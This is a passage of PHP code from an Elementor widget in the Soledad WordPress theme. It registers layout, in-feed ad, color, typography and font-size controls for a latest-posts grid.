			'label'     => __( 'Remove Border Left & Right on Share Box', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid .penci-post-share-box' => 'padding: 0; background: none;',
				'{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid:before'                => 'content: none;',
			),
		) );

		$order_layouts_opts = array(
			'grid_icon_format'     => array( 'label' => 'Hide Icon Post Format', 'desc' => '' ),
			'grid_meta_overlay'    => array( 'label' => 'Enable Post Meta Overlay Featured Image', 'desc' => '' ),
			'grid_nocrop_list'     => array(
				'label' => 'Do Not Crop Images in List & Small List Layouts',
				'desc'  => 'This option does not apply for gallery posts format'
			),
			'grid_share_box'       => array( 'label' => 'Hide Share Box', 'desc' => '' ),
			'grid_cat'             => array( 'label' => 'Hide Category', 'desc' => '' ),
			'grid_cat_move'        => array( 'label' => 'Move Category into the Meta section', 'desc' => '' ),
			'grid_author'          => array( 'label' => 'Hide Post Author', 'desc' => '' ),
			'grid_date'            => array( 'label' => 'Hide Post Date', 'desc' => '' ),
			'grid_comment'         => array( 'label' => 'Hide Comment Count on Mixed, Overlay Posts', 'desc' => '' ),
			'grid_comment_other'   => array( 'label' => 'Show Comment Count on Other Posts', 'desc' => '' ),
			'grid_viewscount'      => array( 'label' => 'Show Views Count', 'desc' => '' ),
			'grid_readtime'        => array( 'label' => 'Hide Reading Time', 'desc' => '' ),
			'grid_remove_line'     => array( 'label' => 'Remove Line Above Post Excerpt', 'desc' => '' ),
			'grid_remove_excerpt'  => array( 'label' => 'Remove Post Excerpt', 'desc' => '' ),
			'grid_add_readmore'    => array( 'label' => 'Add "Read more" button link', 'desc' => '' ),
			'grid_remove_arrow'    => array( 'label' => 'Remove arrow on "Read more"', 'desc' => '' ),
			'grid_readmore_button' => array( 'label' => 'Make "Read more" is A Button', 'desc' => '' ),
		);

		foreach ( $order_layouts_opts as $order_layouts_key => $order_layouts_opt ) {
			$this->add_control( $order_layouts_key, array(
				'label'        => $order_layouts_opt['label'],
				'type'         => Controls_Manager::SWITCHER,
				'description'  => $order_layouts_opt['desc'],
				'return_value' => 'yes',
			) );
		}

		$this->add_control( 'share_alignment', array(
			'label'       => __( 'Share Box Alignment', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left'
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center'
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right'
				)
			),
			'condition'   => array( 'penci_style!' => array( 'overlay', 'boxed-2', 'photography' ) ),
		) );

		$this->add_control( 'grid_readmore_align', array(
			'label'   => __( 'Align "Read more" Button', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'left',
			'options' => array(
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			),
		) );
		$this->add_control( 'grid_excerpt_align', array(
			'label'   => __( 'Post Excerpt Alignment', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'left',
			'options' => array(
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			),
		) );

		$this->add_control( 'grid_title_tag', array(
			'label'   => __( 'Title HTML Tag', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''   => esc_html__( 'Default', 'soledad' ),
				'h1' => esc_html__( 'H1', 'soledad' ),
				'h2' => esc_html__( 'H2', 'soledad' ),
				'h3' => esc_html__( 'H3', 'soledad' ),
				'h4' => esc_html__( 'H4', 'soledad' ),
				'h5' => esc_html__( 'H5', 'soledad' ),
				'h6' => esc_html__( 'H6', 'soledad' ),
			),
		) );

		$this->add_control( 'grid_title_length', array(
			'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'label_block' => true,
		) );
		$this->add_control( 'grid_excerpt_length', array(
			'label' => __( 'Custom Excerpt Length', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
		) );
		$this->add_responsive_control( 'grid_excerpt_lines', array(
			'label'     => __( 'Maximum Excerpt Lines', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid .mixed-detail .item-content, {{WRAPPER}} .penci-grid li .item .item-content, {{WRAPPER}} .penci-masonry .item-masonry .item-content' => 'overflow: hidden;display: -webkit-box;-webkit-line-clamp:{{VALUE}};line-clamp:{{VALUE}};-webkit-box-orient: vertical;',
			),
		) );

		$this->add_responsive_control( 'list_imgwidth', array(
			'label'       => __( 'Image Width on List & Small List Layout', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'size_units'  => array( 'px', '%' ),
			'range'       => array(
				'px' => array( 'min' => 0, 'max' => 1000, ),
				'%'  => array( 'min' => 0, 'max' => 99, ),
			),
			'devices'     => array( 'desktop', 'tablet' ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-grid li.list-post-3:not(.pc-nothumb) .item > .thumbnail, {{WRAPPER}} .penci-grid li.list-post.penci-slistp .item > .thumbnail, {{WRAPPER}} .penci-latest-posts-sc .penci-grid li.list-post .item > .thumbnail' => 'width: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-latest-posts-sc .penci-grid li.penci-item-listp .item .content-list-right'                                                                                                                                     => 'width: calc( 100% - {{SIZE}}{{UNIT}} )',
				'{{WRAPPER}} .list-post-3:not(.pc-nothumb) .content-list-right'                                                                                                                                                                    => 'width: calc( 100% - {{SIZE}}{{UNIT}} + 20px )',
			),
			'label_block' => true,
			'condition'   => array(
				'penci_style' => array(
					'list',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3',
					'small-list',
					'mixed-3',
					'mixed-4',
					'standard-list',
					'classic-list',
					'overlay-list'
				)
			),
		) );

		$this->end_controls_section();

		$this->register_query_section_controls( true );

		$this->start_controls_section( 'section_infeed_ads', array(
			'label' => esc_html__( 'In-feed Ads', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'infeed_ads_note', array(
			'type'            => Controls_Manager::RAW_HTML,
			'content_classes' => 'elementor-descriptor',
		) );

		$this->add_control( 'infeedads_num', array(
			'label'   => __( 'Insert In-feed Ads After Every How Many Posts?', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => '3',
		) );

		$this->add_control( 'infeedads_code', array(
			'label'    => __( 'In-feed Ads Code/HTML', 'soledad' ),
			'type'     => Controls_Manager::CODE,
			'language' => 'html',
			'rows'     => 20,
		) );

		$this->add_control( 'infeedads_layout', array(
			'label'   => __( 'In-feed Ads Layout Type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''     => esc_html__( 'Follow Selected Layout', 'soledad' ),
				'full' => esc_html__( 'Full Width', 'soledad' ),
			)
		) );

		$this->end_controls_section();

		$this->register_block_title_ajax_filter();

		$this->register_block_title_section_controls_post();

		// Design
		$this->start_controls_section( 'section_design_content', array(
			'label' => __( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'post_border_color', array(
			'label'     => __( 'Post Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li.list-post'                                                                                                         => 'border-color: {{VALUE}} !important;',
				'{{WRAPPER}} .penci-grid .list-post.list-boxed-post'                                                                                           => 'border-color: {{VALUE}} !important;',
				'{{WRAPPER}} .penci-grid li.list-boxed-post-2 .content-boxed-2'                                                                                => 'border-color: {{VALUE}} !important;',
				'{{WRAPPER}} .grid-mixed'                                                                                                                      => 'border-color: {{VALUE}} !important;',
				'{{WRAPPER}} .penci-grid[data-layout="list-boxed"] li.list-post .item, {{WRAPPER}} .penci-grid[data-layout="list-boxed-2"] li.list-post .item' => 'border-color: {{VALUE}} !important;',
				'.penci-grid[data-layout="grid-boxed"] li .item, .penci-grid[data-layout="grid-boxed-2"] li .item'                                             => 'border-color: {{VALUE}} !important;',
			),
			'condition' => array(
				'penci_style' => array(
					'list',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'boxed-1',
					'boxed-2',
					'mixed',
					'standard-boxed-1'
				)
			),
		) );
		$this->add_control( 'post_bg_color', array(
			'label'     => __( 'Post Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li .item' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'penci_style' => array(
					'list-boxed',
					'list-boxed-2',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
				)
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .thumbnail' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'ptitle_style', array(
			'label' => __( 'Post Title', 'soledad' ),
			'type'  => Controls_Manager::HEADING,
		) );

		$ptitle_typo = '{{WRAPPER}} .entry-title,{{WRAPPER}} .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .header-standard .entry-title,{{WRAPPER}} .header-standard .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .overlay-header-box .entry-title,{{WRAPPER}} .overlay-header-box .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .header-standard h2, {{WRAPPER}} .header-standard h2 a,';
		$ptitle_typo .= '{{WRAPPER}} .header-standard .pc_titlebig_standard, {{WRAPPER}} .pc_titlebig_standard a,';
		$ptitle_typo .= '{{WRAPPER}} .penci-grid li .item h2 a, {{WRAPPER}} .penci-grid li .item h2 a,';
		$ptitle_typo .= '{{WRAPPER}} .penci-biggrid-data .pcbg-content-inner .pcbg-title a,';
		$ptitle_typo .= '{{WRAPPER}} .penci-masonry .item-masonry h2 a,{{WRAPPER}} .penci-masonry .item-masonry h2 a';
		$this->add_control( 'ptitle_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				$ptitle_typo => 'color: {{VALUE}};'
			),
		) );
		$this->add_control( 'ptitle_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .header-standard h2 a:hover,{{WRAPPER}} .entry-title a:hover'                        => 'color: {{VALUE}};',
				'{{WRAPPER}} .pc_titlebig_standard a:hover'                                                       => 'color: {{VALUE}};',
				'{{WRAPPER}} .overlay-header-box .overlay-title a:hover'                                          => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-biggrid-data .pcbg-content-inner .pcbg-title a:hover'                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-grid li .item h2 a:hover,{{WRAPPER}} .penci-masonry .item-masonry h2 a:hover' => 'color: {{VALUE}};'
			),
		) );

		$this->add_control( 'bptitle_color', array(
			'label'     => __( 'Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-overlay .penci-entry-title a' => 'color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );
		$this->add_control( 'bptitle_hcolor', array(
			'label'     => __( 'Hover Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .grid-overlay .penci-entry-title a:hover' => 'color: {{VALUE}};',
			),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );

		$this->add_control( 'title_hcolor_effect', array(
			'label'     => __( 'Enable Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .entry-title a' 		=> 'background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);background-size: 0 1px;background-repeat: no-repeat;background-position: left 100%;word-break: break-word;transition: 0.3s all ease-in-out;',
				'{{WRAPPER}} .entry-title a:hover'  => 'background-size: 100% 1px;',
			),
		) );
		
		$this->add_control( 'title_hcolor_effect_color', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .entry-title a' => 'background-image: linear-gradient({{VALUE}} 0%, {{VALUE}} 98%)' ),
			'condition' => array( 'title_hcolor_effect' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'ptitle_typo',
			'selector' => $ptitle_typo
		) );
		$this->add_responsive_control( 'bptitle_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .grid-mixed .mixed-detail h2,{{WRAPPER}} .grid-mixed .mixed-detail h2 a'                                                                                           => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .entry-title,{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .entry-title a'                         => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .grid-style .item h2,{{WRAPPER}} .penci-latest-posts-mixed-3 .grid-style .item h2 a'                                                   => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-title,{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-title a'                                               => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-title a'       => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-title a'   => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-title a'       => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-title a' => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-title a'         => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-title a'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-title a'         => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid .overlay-header-box .entry-title,{{WRAPPER}} .penci-latest-posts-overlay-grid .overlay-header-box .entry-title a'                 => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .overlay-header-box .entry-title,{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .overlay-header-box .entry-title a'             => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-list .overlay-header-box .entry-title,{{WRAPPER}} .penci-latest-posts-overlay-list .overlay-header-box .entry-title a'                 => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .overlay-header-box .entry-title,{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .overlay-header-box .entry-title a'           => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .entry-title,{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .entry-title a'                       => 'font-size: {{SIZE}}px !important',
			),
			'condition' => array( 'penci_style' => $style_big_post ),
		) );
		// Post meta
		$this->add_control( 'heading_meta_style', array(
			'label'     => __( 'Post Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pmeta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .header-standard .author-post span,' . '{{WRAPPER}} .penci-post-box-meta .penci-box-meta span,' . '{{WRAPPER}} .penci-post-box-meta .penci-box-meta a' => 'color: {{VALUE}};',
				'{{WRAPPER}} .overlay-author span,{{WRAPPER}} .overlay-author a'                                                                                                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .overlay-post-box-meta .overlay-share span,' . '{{WRAPPER}} .overlay-post-box-meta .overlay-share a,' . '{{WRAPPER}} .overlay-post-box-meta'           => 'color: {{VALUE}};',
				'{{WRAPPER}} .grid-post-box-meta span'                                                                                                                              => 'color: {{VALUE}};',

			),
		) );
		$this->add_control( 'author_color', array(
			'label'     => __( 'Author Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .header-standard .author-post span a,{{WRAPPER}} .overlay-author a,{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'bpauthor_color', array(
			'label'     => __( 'Author Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .grid-overlay .overlay-author span,{{WRAPPER}} .grid-overlay .overlay-author a' => 'color: {{VALUE}};',
			),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );

		$this->add_control( 'pmeta_hcolor', array(
			'label'     => __( 'Post Meta Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-post-box-meta .penci-box-meta a:hover' => 'color: {{VALUE}};',
				'{{WRAPPER}} .overlay-author a:hover'                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .grid-post-box-meta span a:hover'             => 'color: {{VALUE}};',
			),
		) );

		$pmeta_typo = '{{WRAPPER}} .header-standard .author-post,';
		$pmeta_typo .= '{{WRAPPER}} .penci-post-box-meta .penci-box-meta span,';
		$pmeta_typo .= '{{WRAPPER}} .penci-post-box-meta .penci-box-meta a,';
		$pmeta_typo .= '{{WRAPPER}} .overlay-author a,';
		$pmeta_typo .= '{{WRAPPER}} .overlay-header-box .overlay-author,';
		$pmeta_typo .= '{{WRAPPER}} .grid-post-box-meta';

		$pmeta_typo_bpost = '{{WRAPPER}} %1$s .header-standard .author-post,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .penci-post-box-meta .penci-box-meta span,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .penci-post-box-meta .penci-box-meta a,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .overlay-author a,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .overlay-header-box .overlay-author,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .grid-post-box-meta';

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pmeta_typo',
			'selector' => $pmeta_typo
		) );
		$this->add_responsive_control( 'bpmeta_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed .grid-mixed' )                        => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed-2 .item.overlay-layout' )             => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid article.format-standard' )    => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid-2 article.format-standard' )  => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-list article.format-standard' )    => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-boxed-1 article.format-standard' ) => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid article.format-standard' )     => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid-2 article.format-standard' )   => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-list article.format-standard' )     => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid .overlay-layout' )             => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid-2 .overlay-layout' )           => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-list .overlay-layout' )             => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-boxed-1 .overlay-layout' )          => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .grid-post-box-meta'          => 'font-size: {{SIZE}}px !important',
			),
			'condition' => array( 'penci_style' => $style_big_post ),
		) );

		$this->add_control( 'pmeta_border_color', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .header-standard:after'                        => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-overlay-over .overlay-header-box:after' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .grid-header-box:after'                        => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-post-box-meta'                          => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'bpmeta_border_color', array(
			'label'     => __( 'Border Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .grid-overlay .penci-overlay-over .overlay-header-box:after' => 'background-color: {{VALUE}};',
			),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );
		$this->add_control( 'list_post_meta_bg', array(
			'label'     => __( 'Background Color for Post Meta', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .list-post-3 .grid-post-box-meta' => 'background-color: {{VALUE}};',
			),
			'condition' => array( 'penci_style' => 'list-boxed-3' ),
		) );


		// Post Excrept
		$markup_excrept = '{{WRAPPER}} .post-entry.standard-post-entry, {{WRAPPER}} .post-entry.standard-post-entry p,';
		$markup_excrept .= '{{WRAPPER}} .penci-grid .entry-content,{{WRAPPER}} .penci-grid .entry-content p,';
		$markup_excrept .= '{{WRAPPER}} .entry-content,{{WRAPPER}} .entry-content p, {{WRAPPER}} .penci-bgitem .pcbg-pexcerpt p';

		$this->add_control( 'heading_excerpt_style', array(
			'label'     => __( 'Post Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pexcerpt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( $markup_excrept => 'color: {{VALUE}};' )
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pexcerpt_typo',
			'selector' => $markup_excrept,
		) );
		$this->add_responsive_control( 'bpexcerpt_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-content,{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-content p'                                               => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-content p'       => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-content p'   => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-content p'       => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-content p' => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-content p'         => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-content p'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-content p'         => 'font-size: {{SIZE}}px !important',
			),
			'condition' => array(
				'penci_style' => array(
					'mixed',
					'standard-grid',
					'standard-grid-2',
					'standard-list',
					'standard-boxed-1',
					'classic-grid',
					'classic-grid-2',
					'classic-list'
				)
			),
		) );

		// Category
		$this->add_control( 'heading_cat_style', array(
			'label'     => __( 'Post Category', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pcat_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .cat > a.penci-cat-name'                                                                        => 'color: {{VALUE}};',
				'{{WRAPPER}} .cat > a.penci-cat-name:after, {{WRAPPER}} .overlay-header-box .cat > a.penci-cat-name:after'   => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-grid .cat a.penci-cat-name:after,{{WRAPPER}} .penci-masonry .cat a.penci-cat-name:after' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'pcat_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'bpcat_color', array(
			'label'     => __( 'Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .grid-overlay .cat > a.penci-cat-name'                                                                                            => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-featured-infor .cat > a.penci-cat-name:after, {{WRAPPER}} .grid-overlay .overlay-header-box .cat > a.penci-cat-name:after' => 'border-color: {{VALUE}};',
			),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );
		$this->add_control( 'bpcat_hcolor', array(
			'label'     => __( 'Hover Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-overlay .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcat_typo',
			'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
		) );
		$this->add_responsive_control( 'bpcat_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .cat > a.penci-cat-name'                        => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .cat > a.penci-cat-name'             => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .cat > a.penci-cat-name'    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .cat > a.penci-cat-name'  => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .cat > a.penci-cat-name'    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .cat > a.penci-cat-name' => 'font-size: {{SIZE}}px !important',
